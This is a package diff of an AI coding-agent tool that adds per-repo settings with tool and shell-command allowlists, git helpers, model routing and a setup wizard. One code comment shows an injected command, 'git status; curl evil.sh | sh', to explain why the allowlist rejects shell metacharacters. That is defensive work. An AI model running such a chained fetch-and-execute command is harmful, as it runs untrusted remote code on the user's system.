polymath-agent 0.4.0__py3-none-any.whl

polymath/project_config.py

@@ -0,0 +1,229 @@
+"""
+Per-repo .polymath/ project configuration.
+
+When a .polymath/ folder exists in the current working directory (or any
+parent), polymath treats it as the active project config source.  This
+folder is meant to be committed to git so settings are shared across the
+whole team.
+
+Structure:
+  .polymath/
+  ├── context/       ← 9 typed context .md files (same as ~/.polymath/projects/)
+  ├── commands/      ← custom slash command .md files
+  ├── subagents/     ← custom subagent configs (.md or .json)
+  ├── handoffs/      ← teammate handoff briefs
+  └── settings.json  ← allowed_tools, allowed_shell_commands, model preferences
+
+settings.json schema:
+{
+  "allowed_tools": ["write_file", "run_shell_command"],
+  "allowed_shell_commands": ["git *", "pytest *", "npm *"],
+  "model_preferences": {
+    "primary": "claude",
+    "reviewer": "gemini"
+  }
+}
+"""
+from __future__ import annotations
+
+import fnmatch
+import json
+import shlex
+from dataclasses import dataclass, field
+from pathlib import Path
+
+from polymath.config import CONFIG_DIR
+
+
+@dataclass
+class ProjectSettings:
+    allowed_tools: list[str] = field(default_factory=list)
+    allowed_shell_commands: list[str] = field(default_factory=list)
+    model_preferences: dict[str, str] = field(default_factory=dict)
+    raw: dict = field(default_factory=dict)
+
+
+@dataclass
+class LocalProject:
+    root: Path           # absolute path to .polymath/
+    context_dir: Path    # .polymath/context/
+    commands_dir: Path   # .polymath/commands/
+    subagents_dir: Path  # .polymath/subagents/
+    handoffs_dir: Path   # .polymath/handoffs/
+    settings: ProjectSettings
+
+
+def find_local_polymath(cwd: Path | None = None) -> Path | None:
+    """
+    Walk upward from cwd looking for a .polymath/ directory.
+    Returns the absolute path of .polymath/ or None.
+    Mirrors git's upward-search behaviour.
+    """
+    start = Path(cwd or Path.cwd()).resolve()
+    for directory in [start, *start.parents]:
+        candidate = directory / ".polymath"
+        if candidate.is_dir() and candidate.resolve() != CONFIG_DIR.resolve():
+            return candidate
+    return None
+
+
+def load_project_settings(polymath_dir: Path) -> ProjectSettings:
+    """Parse .polymath/settings.json. Missing keys use safe defaults."""
+    settings_file = polymath_dir / "settings.json"
+    if not settings_file.exists():
+        return ProjectSettings()
+    try:
+        data = json.loads(settings_file.read_text())
+        return ProjectSettings(
+            allowed_tools=list(data.get("allowed_tools", [])),
+            allowed_shell_commands=list(data.get("allowed_shell_commands", [])),
+            model_preferences=dict(data.get("model_preferences", {})),
+            raw=data,
+        )
+    except Exception:
+        return ProjectSettings()
+
+
+def load_local_project(cwd: Path | None = None) -> LocalProject | None:
+    """
+    If .polymath/ exists in cwd hierarchy, load its settings and return a
+    LocalProject.  Returns None if no .polymath/ is found.
+    """
+    polymath_dir = find_local_polymath(cwd)
+    if polymath_dir is None:
+        return None
+    settings = load_project_settings(polymath_dir)
+    return LocalProject(
+        root=polymath_dir,
+        context_dir=polymath_dir / "context",
+        commands_dir=polymath_dir / "commands",
+        subagents_dir=polymath_dir / "subagents",
+        handoffs_dir=polymath_dir / "handoffs",
+        settings=settings,
+    )
+
+
+def is_tool_allowed(tool_name: str, settings: ProjectSettings) -> bool:
+    """Return True if tool_name is in the project's allowed_tools list."""
+    return tool_name in settings.allowed_tools
+
+
+#: Characters that let one command string become several, or redirect output.
+#: A preapproved command may not contain any of them. Globbing over a raw
+#: string is not a safe test: the pattern "git *" matches
+#: "git status; curl evil.sh | sh" too, because `*` matches a semicolon.
+SHELL_METACHARACTERS = frozenset(";&|<>`$()\n\r{}!*?[]")
+
+
+def has_shell_metacharacters(command: str) -> bool:
+    """True if the command could do more than run one program."""
+    return any(ch in SHELL_METACHARACTERS for ch in command)
+
+
+def is_shell_command_allowed(command: str, settings: ProjectSettings) -> bool:
+    """
+    Decide whether `command` may run without prompting the user.
+
+    Matching is on the parsed argument vector, never the raw string, and any
+    command carrying shell punctuation is refused outright — it has to be
+    approved by a human, whatever the patterns say.
+
+    A pattern is matched token by token: "git *" allows "git status" and
+    "git push origin main", and each pattern token must match its argument.
+    A trailing "*" in the pattern covers the remaining arguments.
+    """
+    command = command.strip()
+    if not command or has_shell_metacharacters(command):
+        return False
+    try:
+        argv = shlex.split(command)
+    except ValueError:
+        return False
+    if not argv:
+        return False
+
+    for pattern in settings.allowed_shell_commands:
+        try:
+            pattern_argv = shlex.split(pattern.strip())
+        except ValueError:
+            continue
+        if _argv_matches(argv, pattern_argv):
+            return True
+    return False
+
+
+def _argv_matches(argv: list[str], pattern_argv: list[str]) -> bool:
+    """Token-wise match between a command and one allowlist pattern.
+
+    Each pattern token is matched against the argument in the same position.
+    If the pattern's last token ends in "*" the command may carry further
+    arguments, which is what both "git *" and "pytest*" are asking for.
+    Otherwise the lengths must agree, so "git status" does not allow
+    "git status --porcelain".
+    """
+    if not pattern_argv:
+        return False
+    open_ended = pattern_argv[-1].endswith("*")
+    if len(argv) < len(pattern_argv):
+        return False
+    if len(argv) > len(pattern_argv) and not open_ended:
+        return False
+    for token, arg in zip(pattern_argv, argv):
+        if not fnmatch.fnmatch(arg, token):
+            return False
+    return True
+
+
+def init_local_project(cwd: Path | None = None) -> LocalProject:
+    """
+    Create a .polymath/ folder in cwd with default structure.
+    Idempotent — safe to call on an existing project.
+    Returns the loaded LocalProject.
+    """
+    from polymath.config import CONFIG_DIR  # avoid circular at module level
+    base = Path(cwd or Path.cwd()).resolve() / ".polymath"
+
+    for subdir in ("context", "commands", "subagents", "handoffs"):
+        (base / subdir).mkdir(parents=True, exist_ok=True)
+
+    # Default settings.json
+    settings_file = base / "settings.json"
+    if not settings_file.exists():
+        default = {
+            "allowed_tools": ["list_directory", "read_file"],
+            "allowed_shell_commands": [],
+            "model_preferences": {},
+        }
+        settings_file.write_text(json.dumps(default, indent=2))
+
+    # Bootstrap context files
+    _init_context_files(base / "context")
+
+    # .gitignore hint file
+    hint = base / ".gitignore_hint"
+    if not hint.exists():
+        hint.write_text(
+            "# Add .polymath/ to your repo's .gitignore ONLY if you want context private.\n"
+            "# By default, commit it — that's how teammates share context.\n"
+        )
+
+    return load_local_project(base.parent)  # type: ignore[arg-type]
+
+
+def _init_context_files(context_dir: Path) -> None:
+    """Create empty context .md stubs if they don't already exist."""
+    descriptions = {
+        "rules":     "Golden rules and hard constraints — never break these.",
+        "logic":     "Business and domain logic — how things work.",
+        "code":      "Code patterns, conventions, and architecture.",
+        "stack":     "Tech stack, dependencies, versions, environment.",
+        "data":      "Data schemas, field definitions, sample data.",
+        "goals":     "Project objectives, success criteria, scope.",
+        "decisions": "Past decisions and their rationale (ADR-style).",
+        "glossary":  "Domain-specific terms and definitions.",
+        "personas":  "Tone, behavior, and communication style.",
+    }
+    for name, desc in descriptions.items():
+        f = context_dir / f"{name}.md"
+        if not f.exists():
+            f.write_text(f"# {name.title()}\n\n> {desc}\n\n")

polymath/project_runtime.py

@@ -0,0 +1,109 @@
+from __future__ import annotations
+
+import subprocess
+from pathlib import Path
+
+from polymath.config import PROJECTS_DIR
+from polymath.domain import Project
+from polymath.project_config import LocalProject, load_local_project
+
+
+def _git_root(cwd: Path | None = None) -> Path | None:
+    try:
+        result = subprocess.run(
+            ["git", "rev-parse", "--show-toplevel"],
+            cwd=str(cwd or Path.cwd()),
+            capture_output=True,
+            text=True,
+            timeout=3,
+        )
+        if result.returncode == 0 and result.stdout.strip():
+            return Path(result.stdout.strip())
+    except Exception:
+        pass
+    return None
+
+
+def _git_branch(cwd: Path | None = None) -> str:
+    try:
+        result = subprocess.run(
+            ["git", "rev-parse", "--abbrev-ref", "HEAD"],
+            cwd=str(cwd or Path.cwd()),
+            capture_output=True,
+            text=True,
+            timeout=3,
+        )
+        if result.returncode == 0:
+            return result.stdout.strip()
+    except Exception:
+        pass
+    return ""
+
+
+def _git_dirty(cwd: Path | None = None) -> bool:
+    try:
+        result = subprocess.run(
+            ["git", "status", "--porcelain"],
+            cwd=str(cwd or Path.cwd()),
+            capture_output=True,
+            text=True,
+            timeout=3,
+        )
+        return result.returncode == 0 and bool(result.stdout.strip())
+    except Exception:
+        return False
+
+
+def resolve_project(active_project: str = "", cwd: Path | None = None) -> Project:
+    local_project: LocalProject | None = load_local_project(cwd)
+    repo_root = _git_root(cwd)
+    branch = _git_branch(repo_root or cwd)
+    dirty = _git_dirty(repo_root or cwd)
+    detached_exists = bool(active_project) and (PROJECTS_DIR / active_project).is_dir()
+
+    if local_project:
+        repo_project_name = local_project.root.parent.name
+        if active_project and active_project != repo_project_name and detached_exists:
+            return Project(
+                name=active_project,
+                source="local",
+                local_project=None,
+                repo_root=repo_root,
+                repo_branch=branch,
+                repo_dirty=dirty,
+            )
+        name = active_project or repo_project_name
+        return Project(
+            name=name,
+            source="repo",
+            shared_root=local_project.root,
+            local_project=local_project,
+            repo_root=repo_root,
+            repo_branch=branch,
+            repo_dirty=dirty,
+        )
+
+    return Project(
+        name=active_project,
+        source="local" if active_project else "none",
+        local_project=None,
+        repo_root=repo_root,
+        repo_branch=branch,
+        repo_dirty=dirty,
+    )
+
+
+def project_provenance_lines(project: Project) -> list[str]:
+    lines: list[str] = []
+    if project.shared and project.shared_root:
+        lines.append(f"shared repo context active: {project.shared_root}")
+        if project.local_project and project.local_project.settings.raw:
+            lines.append(f"settings source: {project.shared_root / 'settings.json'}")
+    elif project.name:
+        lines.append("local runtime project only: no shared repo .polymath/")
+    else:
+        lines.append("no active project context")
+    if project.repo_root:
+        state = "dirty" if project.repo_dirty else "clean"
+        lines.append(f"git: {project.repo_root.name}  | branch: {project.repo_branch or '?'}  | {state}")
+    return lines

polymath/router.py

@@ -0,0 +1,127 @@
+"""
+Task classification + model selection.
+
+Priority order (configurable):
+  quality-first  →  claude-sonnet → gpt-4o → gemini-pro → haiku → gpt-mini → gemini-flash → ollama
+  cost-first     →  ollama → gemini-flash → gpt-mini → haiku → gemini-pro → gpt-4o → sonnet
+  speed-first    →  fastest available
+  balanced       →  quality+speed balanced
+"""
+from __future__ import annotations
+
+import re
+
+from polymath.config import (
+    CostTier, ModelInfo, PRIORITY_PROFILES, TaskComplexity, TaskType,
+)
+
+
+# ── Task classification ───────────────────────────────────────────────────────
+
+CODE_PATTERNS = re.compile(
+    r"\b(code|function|class|script|debug|fix|implement|refactor|test|"
+    r"python|javascript|typescript|java|sql|bash|regex|algorithm|api)\b",
+    re.IGNORECASE,
+)
+MATH_PATTERNS = re.compile(
+    r"\b(calculate|compute|solve|equation|integral|derivative|matrix|"
+    r"probability|statistics|formula|proof)\b",
+    re.IGNORECASE,
+)
+CREATIVE_PATTERNS = re.compile(
+    r"\b(write|story|poem|creative|essay|blog|draft|imagine|design|name|"
+    r"brand|pitch|marketing|ad|copy|brainstorm|ideas|suggest)\b",
+    re.IGNORECASE,
+)
+RESEARCH_PATTERNS = re.compile(
+    r"\b(research|explain|summarize|compare|analyze|review|evaluate|"
+    r"pros.?cons|trade.?off|overview|history|why|how does|background|context|investigate|study)\b",
+    re.IGNORECASE,
+)
+ANALYSIS_PATTERNS = re.compile(
+    r"\b(analyze|analyse|data|chart|trend|insight|report|breakdown|"
+    r"metric|performance|benchmark)\b",
+    re.IGNORECASE,
+)
+
+
+def classify_task(text: str) -> TaskType:
+    scores = {
+        TaskType.CODE:     len(CODE_PATTERNS.findall(text)),
+        TaskType.MATH:     len(MATH_PATTERNS.findall(text)),
+        TaskType.CREATIVE: len(CREATIVE_PATTERNS.findall(text)),
+        TaskType.RESEARCH: len(RESEARCH_PATTERNS.findall(text)),
+        TaskType.ANALYSIS: len(ANALYSIS_PATTERNS.findall(text)),
+    }
+    best = max(scores, key=scores.get)
+    return best if scores[best] > 0 else TaskType.GENERAL
+
+
+def classify_complexity(text: str) -> TaskComplexity:
+    words = len(text.split())
+    has_multi = bool(re.search(r"\b(and|also|then|after|next|finally|step|split|separately|independently)\b", text, re.I))
+    if words < 15 and not has_multi:
+        return TaskComplexity.SIMPLE
+    if words < 50 or not has_multi:
+        return TaskComplexity.MEDIUM
+    return TaskComplexity.COMPLEX
+
+
+# ── Model selection ───────────────────────────────────────────────────────────
+
+def select_primary(
+    available: list[ModelInfo],
+    task_type: TaskType,
+    profile: str = "quality-first",
+    force_provider: str = "",
+    force_cheap: bool = False,
+    force_fast: bool = False,
+) -> ModelInfo | None:
+    candidates = [m for m in available if m.available and m.supports(task_type)]
+
+    if force_provider:
+        candidates = [m for m in candidates if m.provider == force_provider]
+
+    if force_cheap:
+        profile = "cost-first"
+    elif force_fast:
+        profile = "speed-first"
+
+    if not candidates:
+        # Fallback: any available model
+        candidates = [m for m in available if m.available]
+
+    if not candidates:
+        return None
+
+    sort_key = PRIORITY_PROFILES.get(profile, PRIORITY_PROFILES["quality-first"])
+    return sorted(candidates, key=sort_key)[0]
+
+
+def select_reviewer(
+    available: list[ModelInfo],
+    primary: ModelInfo,
+    profile: str = "quality-first",
+) -> ModelInfo | None:
+    """Pick best available model that is NOT the same model as primary."""
+    candidates = [
+        m for m in available
+        if m.available and m.id != primary.id and m.quality >= 3
+    ]
+    if not candidates:
+        # Relax quality requirement
+        candidates = [m for m in available if m.available and m.id != primary.id]
+    if not candidates:
+        return None
+    sort_key = PRIORITY_PROFILES.get(profile, PRIORITY_PROFILES["quality-first"])
+    return sorted(candidates, key=sort_key)[0]
+
+
+def select_summarizer(available: list[ModelInfo]) -> tuple[ModelInfo, str] | None:
+    """Pick cheapest+fast model for context compression."""
+    candidates = [m for m in available if m.available]
+    if not candidates:
+        return None
+    sort_key = PRIORITY_PROFILES["cost-first"]
+    cheapest = sorted(candidates, key=sort_key)[0]
+    return cheapest

polymath/setup_wizard.py

@@ -0,0 +1,106 @@
+"""
+First-run setup wizard.
+Detects existing keys, prompts for missing ones, saves to ~/.polymath/config.json.
+"""
+from __future__ import annotations
+
+import shutil
+from rich.console import Console
+from rich.prompt import Prompt, Confirm
+from rich.table import Table
+from rich import box
+
+from polymath.config import (
+    PRIORITY_PROFILES, load_config, save_config, CONFIG_DIR
+)
+from polymath.detector import detect
+
+console = Console()
+
+PROVIDERS = {
+    "claude":  ("Anthropic (Claude)", "https://console.anthropic.com/settings/keys"),
+    "gemini":  ("Google (Gemini)",    "https://aistudio.google.com/app/apikey"),
+    "openai":  ("OpenAI (GPT/Codex)", "https://platform.openai.com/api-keys"),
+    "mistral": ("Mistral AI",         "https://console.mistral.ai/api-keys"),
+    "groq":    ("Groq",               "https://console.groq.com/keys"),
+}
+
+
+def run_wizard(force: bool = False) -> dict:
+    cfg = load_config()
+
+    if not force and cfg.get("_setup_done"):
+        return cfg
+
+    console.print("\n[bold cyan]polymath[/bold cyan] — first-time setup\n")
+
+    # 1. Priority profile
+    console.print("[bold]Model priority profile[/bold]")
+    for i, name in enumerate(PRIORITY_PROFILES.keys(), 1):
+        console.print(f"  {i}. {name}")
+    choice = Prompt.ask("Choose profile", choices=["1","2","3","4"], default="1")
+    cfg["priority_profile"] = list(PRIORITY_PROFILES.keys())[int(choice)-1]
+
+    # 2. Detect & show what's found
+    console.print("\n[bold]Detecting installed models...[/bold]")
+    registry = detect()
+    available = [m for m in registry if m.available]
+
+    table = Table(box=box.SIMPLE, show_header=True)
+    table.add_column("Model", style="cyan")
+    table.add_column("Provider")
+    table.add_column("Tier")
+    table.add_column("Status")
+
+    for m in registry:
+        status = "[green]available[/green]" if m.available else "[dim]not found[/dim]"
+        table.add_row(m.display_name, m.provider, m.cost_tier.name.lower(), status)
+    console.print(table)
+
+    # 3. Offer to add missing API keys
+    missing_providers = {
+        p for p in PROVIDERS
+        if not cfg.get("api_keys", {}).get(p)
+        and not any(m.available and m.provider == p for m in registry)
+    }
+
+    if missing_providers:
+        console.print("\n[bold]Add API keys for missing providers?[/bold]")
+        for provider in missing_providers:
+            name, url = PROVIDERS[provider]
+            if Confirm.ask(f"  Add key for [cyan]{name}[/cyan]?", default=False):
+                key = Prompt.ask(f"  {name} API key (get at {url})", password=True)
+                if key.strip():
+                    cfg.setdefault("api_keys", {})[provider] = key.strip()
+
+    # 4. Review rounds
+    rounds = Prompt.ask("\nMax review rounds per task", default="2", choices=["1","2","3"])
+    cfg["review_rounds"] = int(rounds)
+
+    cfg["_setup_done"] = True
+    save_config(cfg)
+    console.print("\n[green]Setup complete.[/green] Config saved to ~/.polymath/config.json")
+    console.print("[dim]API keys stored in plaintext at ~/.polymath/config.json — keep this file private[/dim]\n")
+    return cfg
+
+
+def show_models() -> None:
+    registry = detect()
+    table = Table(title="Available models", box=box.SIMPLE)
+    table.add_column("Model", style="cyan")
+    table.add_column("Provider")
+    table.add_column("Quality", justify="center")
+    table.add_column("Speed", justify="center")
+    table.add_column("Tier")
+    table.add_column("Context")
+
+    for m in sorted(registry, key=lambda x: (-x.quality, x.cost_tier.value)):
+        if not m.available:
+            continue
+        table.add_row(
+            m.display_name, m.provider,
+            "★" * m.quality, "⚡" * m.speed,
+            m.cost_tier.name.lower(),
+            f"{m.context_window // 1000}K",
+        )
+    console.print(table)